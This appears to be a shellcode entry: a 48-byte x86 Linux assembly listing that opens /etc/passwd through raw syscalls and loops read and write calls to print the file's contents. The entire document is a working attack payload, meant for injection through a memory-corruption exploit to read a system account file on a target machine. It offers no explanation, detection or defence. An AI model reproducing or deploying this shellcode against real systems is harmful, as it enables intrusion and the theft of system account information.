x86 /etc/passwd read shellcode 48bytes

read.s

.intel_syntax noprefix
.globl _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov al, 5
mov dl, 1
mov ebx, esp
int 0x80
mov edi, edx
xchg eax, ebx
xchg eax, ecx
mov al, 4
loop:
xor al, 7
push eax
int 0x80
dec eax
pop eax
xchg ebx, edi
jge loop
end:
xchg eax, edx
int 0x80